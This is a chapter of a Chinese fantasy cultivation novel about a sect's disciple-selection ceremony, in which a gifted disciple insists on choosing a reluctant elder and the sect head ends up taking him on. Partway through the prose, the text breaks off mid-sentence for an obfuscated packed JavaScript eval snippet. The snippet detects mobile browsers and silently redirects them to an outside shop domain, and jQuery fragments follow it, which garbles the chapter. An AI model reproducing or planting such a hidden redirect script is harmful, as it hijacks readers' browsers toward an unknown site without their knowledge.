拜师那一天，万化门的虚裕殿外盛况空前，人头攒动。大殿之上，除了常年不出的周晞影，万化其他长老全都端坐高堂。
“她今年也不来？”三长老简尘有些不满。“她若再这样一意孤行，恐怕别人都会说我们万化假公济私，长老德不配位。”
“晞影闭关未出，不必非议。”坐于中央的迟修衡答道。简尘为人正直，却对托病避世的晞影一直不满，平日没少对她冷嘲热讽，今天也不例外。
就连万化的其他长老都不知道晦明剑一事，所以在不知情的他们看来，晞影身为六长老确实名不符实；加上之前大弟子的那宗悬案，他们对晞影有意见也无可厚非，他也不方便过多袒护。
坐在他右边的二长老任鸿意笑着缓和了气氛，“简尘，六师弟不来，你就不收徒了？就算晞影能力不行，咱们不是还有你吗？谁不知道你少年成名？别的不说，我翻了翻今年投入门派的拜贴，有半数以上的弟子都想拜到你门下……”
“少说这个，今年再收这么多，沧未坞的住所都要不够了。”简尘喝了口清茶，依旧淡然。
话虽如此，做师父的都会对天资聪颖的弟子青眼有加。所以他又补充道：“听说那个姓苏的不错，让他拜我为师吧。”
一旁的喻湛点了点头：“师兄所虑不无道理，只是长此以往，沧未坞的实力将会一骑绝尘。不过……”
“你想说什么？”简尘顰眉。
“这好徒弟大家都想要嘛，咱们还是得看看那弟子的想法。”
“这有什么异议的？”他抬头，似是无意反驳：“这帮人若是有点见识，不是拜我就是拜掌门师兄。可师兄忙于万化事务，多年不收徒弟。除了我，他还能选谁？”
“行啦！”另一个女长老辛书然终于发话：“一群大老爷们比村口的老婆子都啰嗦！现在还不叫弟子们进殿，还要让人家等到什么时候！？”
她一贯看不上这帮人的作风，虽是个医修，但说话做事雷厉风行，尤其是对一向碎嘴的师兄弟们。
“师姐还是这么泼辣，只是旧制不可变，让他们准时进来也是为了讨个彩头。”
周晞影今天穿了件鹅黄毛领常服，高马尾用发冠束在脑后，整个人显得精神了许多。气色红润，完全看不出昨夜的虚弱无力。
“晞影！你怎么来了？”迟修衡惊得起身，却见周晞影只是淡淡地坐到那个空位上。
“我闲着也是闲着，索性来虚裕殿看看。”她答道，语气一如既往地像一潭死水，温柔可欺却毫无生气。
余下几位长老面面相觑，各怀心事。在他们看来，晞影实力不够，名声太小，来了也只是坐着看别人收徒。就算不在乎之前掌门弟子死在她地盘上的事情，这么尴尬的场面，她居然没有感到不舒服吗？
只有迟修衡猜到了背后的缘由。看着殿外等候的一列整齐的人头，他暗自思索。
尽管苏怀青一直宣称自己对下山的英勇事迹什么都不记得了，但名声还是在这一届同门中传开了，很好地转移了弟子们对六长老可能私通魔族一事的注意力。这次他也被理所应当地安排在了队伍的最前面。
真麻烦啊……他想。籍籍无名的好友陆云川和他分开了，旁边没有一张嘴一直叽里呱啦，他还有点不习惯。
小胖没什么长处，但怼天怼地怼空气和说闲话传闲话的本事出神入化。这次因为运气苟活到了最后，也得以拜师。
没有了他的陪伴，苏怀青如芒在背。尤其是旁边的那个女弟子，怎么一直往他这边瞅……还是小胖好，要是他在，肯定能帮自己吸引这种眼光。
“恭喜各位通过入门考核，下面按照惯例，请按次序进殿，最终拜师结果将根据个人和长老意愿决定。”一个模样周正的女弟子拿着令牌和名册，公开宣读着上面的客套话。
苏怀青早就有了自己的想法。因此，当他满怀期待地进门，却被告知自己将要拜简尘为师时，他的震惊之情无异于在晴空万里的大白天遭了雷劈。
“我不想拜三长老为师！”他喊道，反应过来自己的无礼，他又急忙改口：“不是……我……我写的是六长老……”
虽然没了后面的记忆，但就凭周晞影下山负伤还不忘把他叼回来这件事，他觉得对方虽然传言凶煞，却暂时不会要他的命。
更何况那天晚上的事他又没忘，他得去找隔烟楼的那个帷笠侍女，询问她失忆前的往事。
此时的苏怀青已然忘却了那天草地上的惊鸿一吻，痴痴地把那天晚上只有一面之缘的侍女当成了自己前世的意中人。
但这个看似合理的要求可震惊了高座上的几位长老，他们脸上或多或少都变得精彩纷呈。唯独迟修衡和周晞影，两人似乎早有预料，反应不大。
简尘的脸上不太好看。他自十七岁夺得大会头筹后就名声大噪，这还是十几年来第一次有人拂他的面子。他勉强按捺怒火，问道：“你对六长老了解多少？怎么会想拜她为师？”
“我……我觉得六长老性情温和，而且下山的时候，她对我多有照拂……”似乎是知道自己的理由不够充分，他忙手忙脚，嘴比脑子快：“还有，晞影长老对付魔族的时候，特别帅！”
晞影听着有点想笑，她消除了对方的记忆，现在的苏怀青应该什么都不记得。不知道跟谁学的，现在的他还真是满口谎话。
哦，她忘了。本来祁轩就不用学习怎么说谎，他骗的第一个人就是自己。只有她才傻乎乎的，真的以为这世上还有和她一样愚蠢的灵魂。
“我不会收你为徒。”周晞影直接打断了简尘对苏怀青气急败坏的连问，云淡风轻道。
“为什么？”站在下面的苏怀青忽略了一旁怒气冲冲巴不得一刀劈死他的二长老，转头看向周晞影。晞影轻飘飘的一句话，在他耳中却如万丈钧雷，震耳欲聋，伤害满满。
他的眼神死死地黏在坐在最末端的周晞影身上，不死心地继续追问道：“您为什么不收徒？我很听话的，不会让您烦心。”
迟修衡也静静地望着晞影，事情和他想象的略有出入。晞影如果和这个弟子有勾结，若是为了避嫌，大可不用演这一出；若是没有，今日为何如此反常？
可戏中人只是轻轻叹气，语气温和，像是丝毫没有察觉到殿内的剑拔弩张般开口道：“我资质不够，不会收徒。怀青乃旷世奇才，不该屈居在我这个有名无实的人手下。”
“我不！”愣头青又一次无视了欲继续抛橄榄枝的简尘，不顾礼仪地坚持道：“我不嫌弃您！让我做您的弟子吧，我做什么都行！”
这下不只是简尘，几位长老的脸色都不太好看了。还算冷静的辛书然看了看掌门，转头又看了看晞影，却见这两人气定神闲，都没有开口说话的意思。
若是个平常的弟子也就算了，可根据他的表现来看，苏怀青是这一届的翘楚。按照惯例，长老会尽可能地顺着他的意思。但周晞影名不见经传，拜到她名下，只怕万化还是会落人口舌。
“怀青啊，既然你想要一个好说话的长老，不如拜到我门下吧……”辛书然温柔笑道，留下一旁的简尘拼命瞪她。
她看出来了，苏怀青并不想拜到简尘门下，可晞影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717842|208552||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也不方便收徒，与其僵持着，不如让她来做这个功利的恶人。
“辛长老误会了，”苏怀青像是吃了秤砣一般，铁了心要拜周晞影为师，就算给了台阶也不下。“我不是想要一个温柔的长老，我只是想请周长老做我的师父。”
“呵……”周晞影终于忍不住讥笑一声，似乎又想起了当年往事。她站起身，还是那副温润如玉的模样，说出的话却有些不近人情：“我倒不知有人对我这么感兴趣。那好，既然你不拜师，就在万化自学成才吧。”
“晞影！”见对方拂袖欲走，迟修衡也起身呵斥。“你跟弟子见识什么？坐下。”
周晞影瞪了他一眼，不动声色地坐了回去。
余下几位长老都不明所以，周晞影很少在大庭广众之下发火，更不会像今天这样不顾大局地一走了之。难道这个苏怀青和她早就相识？
“不许争了，”迟修衡坐回高台，语气毋庸置疑：“从今天起，我收苏怀青为关门弟子。”
“掌门师兄！”一直蠢蠢欲动的简尘急了。
“我的凌云阁需要人守着。”迟修衡不慌不忙地解释道，“况且拜我为师，于情于理都不会出错。苏怀青，你愿意吗？”
怀青已经被刚刚突然发怒的周晞影吓得头脑不清了，他死活想不明白为什么对方这么抗拒。
不过可以确定的是，他见不得晞影生气。当那张带着薄怒的脸映入脑海之时，他的内心一阵不安闪过，像是被什么东西紧紧揪着一般难受。
苏怀青自己也有所怀疑。他和晞影的每次相遇，自己似乎都会有些奇怪的感觉产生。他几乎可以肯定这位六长老也和自己的过去有关，但既然对方不想收徒，也只好走一步看一步了。
“弟子不胜感激。”他俯首拜谢道。
迟修衡亲自走下台，亲自用戒尺为他测了灵力，此时却皱起了眉。
不动声色地，迟修衡将那枚泛着古柏色的大弟子玉印递给了苏怀青。往回走时，他有意无意地偏头，看了晞影一眼。
晞影回望过去，眼神不闪不躲，明月般的光泽被睫羽微微遮掩，温柔化在了眼里，算计却溢了出来。
迟修衡收回了目光，装作无事发生。
“师父，我需要搬到凌云阁去吗？”苏怀青问道。
“先不用，”迟修衡已经坐回了主位。“你先在原来的住所待着，等不久后的仙盟大会结束后再来。”
苏怀青应下，他早料到会是这样。其实按旧例，弟子拜师后应当立刻离开集体宿舍搬到单独房间。但他这么一闹，无论是以示惩戒还是掌门过于忙碌无暇照看，让他继续待在外面都是情有可原。
“那就让他去我那吧，也算弥补了不能拜师的遗憾。”周晞影主动说道，像是丝毫没有意识到自己话里的不妥。
她不想收徒，无非是不想见现在的祁轩。可晦明剑的剑气已然不稳，如果再不利用苏怀青的灵力中和一下，恐怕会功亏一篑。
“你？周晞影，你认为你是谁？”简尘自刚刚被当众打脸后就一直不爽，眼下可算让他找到一个可以发泄不满的地方了，自然不会放过。
“嘴上说着不要，没想到这么快就露出马脚！还有你，苏怀青……”
“三师兄，你收敛一点！”喻湛忍不住插嘴。简尘不喜欢周晞影，在自己人面前说说也就算了，怎么当着弟子的面也这么冲动，生怕别人不知道万化内部不和吗？
“好。”迟修衡似乎预料到了晞影会出言阻止，居然直截了当地答应了。
“等拜师会结束了，你就跟六长老走吧。”